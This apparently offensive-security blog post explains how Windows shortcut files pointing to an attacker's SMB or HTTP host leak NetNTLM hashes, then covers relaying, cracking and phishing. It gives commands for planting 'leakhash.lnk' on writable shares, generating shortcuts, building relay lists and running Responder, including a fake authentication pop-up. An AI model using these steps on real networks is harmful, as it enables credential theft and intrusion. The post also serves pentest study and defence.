Back and forth with .lnk and NetNTLM hash sent by Windows OS
Hello Dear readers !
Today we want to present you a trick with Windows OS .lnk or .url files.
By examining suspicious files zipped together and monitoring network traffics at the same time, our team discovered a strange behavior from Windows OS few years ago. At that time, we looked for a .zip exploit 💥or something similar, but soon we realized this was also observed without being in an archive at all!
Lets see whats going on ...
If you look closely at this tcpdump, you will see that Windows is trying to connect to 188.8.131.52 over tcp/445 then over tcp/80 (it will also try tcp/443 right after if unsuccessful). By looking into the archive we saw that a .lnk file was present and with a file:// protocol target...
Note: following the WannaCry event, more ISPs are now blocking outgoing port 445.
Basics of the
So we can deduce that Windows OS when browsing a .lnk file with a target file:// protocol will fetch automatically this remote untrusted URL without user consent 💨. More importantly, under certain conditions it will try to authenticate automatically if the server is providing an authentication mechanism and a challenge.
|You received a message from Web.Dave|
So let's recap what we have here: 👴
- Almost no user interaction is needed ;
- We just have to drop the file anywhere on the drive ;
- The folder needs to be opened or browsed (it might be in the background) ;
- Automatic fetching of .lnk / .url target and send NetNTLM hash.
That is pretty powerful if you ask me! Just imagine you send a .zip file to someone which contains a .lnk file (.lnk files are blocked by Outlook so you need to zip it). You can easily abuse this behavior and get the user password hash when he unzip the file or copy it on the drive (the double clicking preview zip is not sending hash).
This is not a new trick at all, this file:// protocol behavior was already used in pentests before. For instance, you could embed it inside .html pages and image src. Similarly, the post/windows/escalate/droplnk module of metasploit does it with the ICON resource. But all this fuss is not needed at all, a simple .lnk or .url target works...
Abusing the featureHow to generate the file? The .lnk format can be a bit burdensome to create on Windows as the OS is verifying existence of the target. Instead we will use the .url file format, which behave similarly. Right click and New > Shortcut, then specify whatever http:// URL and create the file. Then Right click again and edit it and now type as Target \\attackerip\file or file://attackerip/file. Finally you can copy it or send it.
For other OS, someone recently created a python script to create .lnk(s) for this purpose. Please note that you don't need a specific payload or exploit, this is standard shortcut.
Now how can we drop the file to the disk? 🙏 There are multiple ways. You could send it using emails inside a .zip or using messengers file transfers. You can also drop it on a share folder if you have write access onto it. Any upload possibility to Windows OS will work. For instance using smbmap on multiple targets:
smbmap --host-file writablehosts.txt --upload 'leakhash.lnk C$\temp\trustmeimadolphin.lnk'
I will propose to you 3 scenarios for exploitation. But before that, a quick reminder on NetNTLM. NetNTLM is not != NTLM and NTLM is not != NTLMv1 v2. It means you cannot pass the NetNTLM hash. 💢 Credit goes to this blog article for good explanation and tooling on NTLM relaying (reading blog is cool heh? 👦). Quoting it :
As a gimmick to remember, you get NetNTLM hash when you use the Network to get it (this rule has exceptions, more specifically when you do the Potato attack).
From a pentesting perspective:
You get NTLM hashes when dumping the SAM database of any Windows OS, a Domain Controller's NTDS.dit database or from Mimikatz (Fun fact, although you can't get clear-text passwords from Mimikatz on Windows >= 8.1 you can get NTLM hashes from memory). Some tools just give you the NT hash (e.g. Mimikatz) and that's perfectly fine: obviously you can still Pass-The-Hash with just the NT hash.You get Net-NTLMv1/v2 (a.k.a NTLMv1/v2) hashes when using tools like Responder or Inveigh.
- You CAN perform Pass-The-Hash attacks with NTLM hashes.
- You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.
Another important piece of information: if tcp/445 is filtered / blocked or unreachable, Windows will try to use HTTP tcp/80 and HTTPS tcp/443 (quite cool to evade firewalls). Over HTTP(s), the hash is sent only if the distant IP is in the trusted zone (internal address are included). An excellent Derbycon talk on all Windows attacks mentions that Teredo tunnel IPs (while being a remote IP) can be used in conjunction with PORTPROXY (requires administrator rights to create) to be considered internal (redirects localhost to ipv6). In this particular case, the hash will be sent to remote IP over HTTP(s). It means that if you want to get hashes via HTTP(s) and not SMB, you need to use internal networks or a trusted zone address or use a trick with PORTPROXY and administrator rights.
|This is how it works.|
0. Intro. Steal some info
Just by crafting the .lnk / .url file with Windows variables like %EXAMPLE%, you can leak some information, in addition of course to the operating systems version you received from the user agent ([...]MiniRedir/10.0.[...]) and the originating IP. Taken from the github example:
This feature can be interesting since it is not using authentication but we have yet to find information in environment data which can grant access to the box... So now onto more interesting stuff !
lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME --output out.lnk
1. SMB Signing is disabled (default). Relay the hash to an endpoint
As soon as the file is browsed, you will receive the hash (NetNTLMv1 or v2 depending on the Windows OS version and configuration). As you may know, by default Windows is vulnerable to (remote) hash relaying. So, without cracking the hash, you can simply use it.
You have two options for that (quoting the blog again):
There are 2 main tools that are maintained and updated regularly that can be used to perform relay attacks with Net-NTLMv1/v2 hashes:Targets for relay can be found with crackmapexec.
cme smb <CIDR> --gen-relay-list targets.txt
Drawbacks of these tools is that they only work against SMB endpoints. You need to connect back to the victim using port tcp/445, which is unlikely to happen in practice via Internet. It is more likely to work over internal networks though. I am pretty confident it is possible to relay the hash to other protocol such as RDP port tcp/3389 or MSRPC port tcp/135. But I need to confirm it and find or code a tool... 🙇
2. SMB Signing enabled or no endpoints. Cracking the hash
If you cannot relay the hash because no endpoint is available or signing is enabled, then you can still crack it. Instead of relaying the hash, you will simply capture it, for instance with Responder (be sure to use the maintained version). Fire it up and check that port tcp/445 is available externally and listening :
./Responder.py -I eth0
The hashes received will be located inside a sqlite3 database named Responder.db. NetNTLMv1 is generated pretty fast with hashcat while NetNTLMv2 is a more secure algorithm and is pretty slow to crack. Here are examples of speeds we achieved:
|Full speed ahead !|
It might be interesting to try to downgrade the protocol for receiving weaker LM hashes if you target old boxes like Windows XP and 2003 (use Responder --lm). For your information, the registry key responsible for the hash format sent can be found at: reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel.
After cracking hashes, you can try to re-use the password on different remote endpoints (such as Microsoft RAS server VPN, Outlook Web Access, ADFS or Websites using LDAP bind authentication to Active Directory...)
Practical feedback: after uploading this .lnk file to a well used shared folder we gathered a full company hashes after only one hour trough internal network and we could crack a quarter of the NetNTLMv1 hashes after 3 days. 💪
3. TCP port 445 is blocked and external IP. Phish the user.
In case tcp/445 is blocked, you will only receive connections via HTTP(s) and Windows wont send you the hash if your IP is not a trusted zone address. What you can possibly do is phish the user via a HTTP(s) Basic authentication pop-up using Responder.py --basic. There is a good probability the user will fail for it, as it is appearing without browsing a website and looks like a Windows authentication timeout.
|Can someone fails for it ?|
In this case, you will receive a plaintext password. 💞
Wont fix bugs are the best vulnerabilitiesThis .lnk trick (also working with .url) have been tested by us and is valid from Windows XP up to Windows 10. Moreover, this automatic fetching and authentication is unlikely to be removed by Microsoft.
Windows OS power lies into its "single sign on" aspect and good integration into its environment. If users would have to type password every time they reach a shared folder file, we would probably all use Linux OS in work environment by now (personal opinion). Windows OS have to be backward compatible 💀 and keep NetNTLM in place. Disabling NetNTLM to go for Kerberos only can be tried and it will prevent this behavior. But if you trigger that switch, a lot of other features interconnecting Windows with other tools will not work, based on our experience. So it is unlikely that companies will adopt this change.
That's it ! Hope you enjoyed the reading. Don't forget to post your comments !